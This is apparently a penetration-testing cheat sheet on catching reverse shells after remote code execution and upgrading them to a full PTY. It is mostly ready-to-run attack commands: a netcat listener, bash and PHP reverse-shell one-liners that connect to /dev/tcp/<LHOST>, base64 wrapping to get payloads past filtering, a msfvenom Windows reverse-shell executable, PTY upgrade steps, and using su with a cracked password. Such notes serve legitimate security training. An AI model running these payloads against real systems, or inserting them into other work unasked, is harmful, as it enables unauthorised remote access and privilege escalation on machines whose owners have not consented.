Catching the first shell and turning a fragile netcat catch into a real PTY where sudo, su and job control behave.
When I land RCE I want a listener ready and a way to move a payload across, then I upgrade the shell before doing anything real with it.
Listeners & reverse shells#
python3 -m http.server on the attacker side, a netcat catch on the other. rlwrap gives me arrow-key history and line editing in the caught shell, which matters more than it sounds at 2am.
# serve a payload / tool from the attacker box
python3 -m http.server 80
# catch the shell — rlwrap for history + line editing
rlwrap -cAr nc -nlvp 443
# classic bash + PHP reverse-shell one-liners
bash -c 'bash -i >& /dev/tcp/<LHOST>/443 0>&1'
echo '<?php system("bash -c \"bash -i >& /dev/tcp/<LHOST>/443 0>&1\""); ?>' > shell.php
# base64-wrap the payload when >& / and spaces get mangled through nested
# shells (RCE param -> system() -> bash); only A-Za-z0-9+/= crosses the wire
echo -n 'bash -i >& /dev/tcp/<LHOST>/443 0>&1' | base64
# ...then decode + pipe back into bash on the target:
echo '<base64>' | base64 -d | bash
# generate a Windows reverse-shell exe when you can run one
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=443 -f exe -o s.exeUpgrading to a real PTY#
A raw nc shell is fragile. Upgrade it to a real PTY so sudo, su and job control behave, spawn a pty with Python, background with Ctrl-Z, fix the local terminal, then foreground it back.
# on the target
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl-Z to background, then on the attacker:
stty raw -echo; fg
# back on the target: reset the terminal
export TERM=xterm-256color; stty rows 50 cols 200When the target has no python3#
Stripped hosts and app containers often ship without python3, so pty.spawn is out. script is on almost every Linux box and spawns a PTY just as well. And if you can’t get a PTY at all, a raw shell still runs su, it reads the password straight from the terminal, which is the quickest way to cash in a password you just cracked.
# PTY without python: script exists almost everywhere
script -qc /bin/bash /dev/null
# then Ctrl-Z; stty raw -echo; fg; export TERM=xterm-256color; stty rows 50 cols 200
# no PTY? su still accepts its password from a raw shell
su <user>
# Password: <cracked-password>
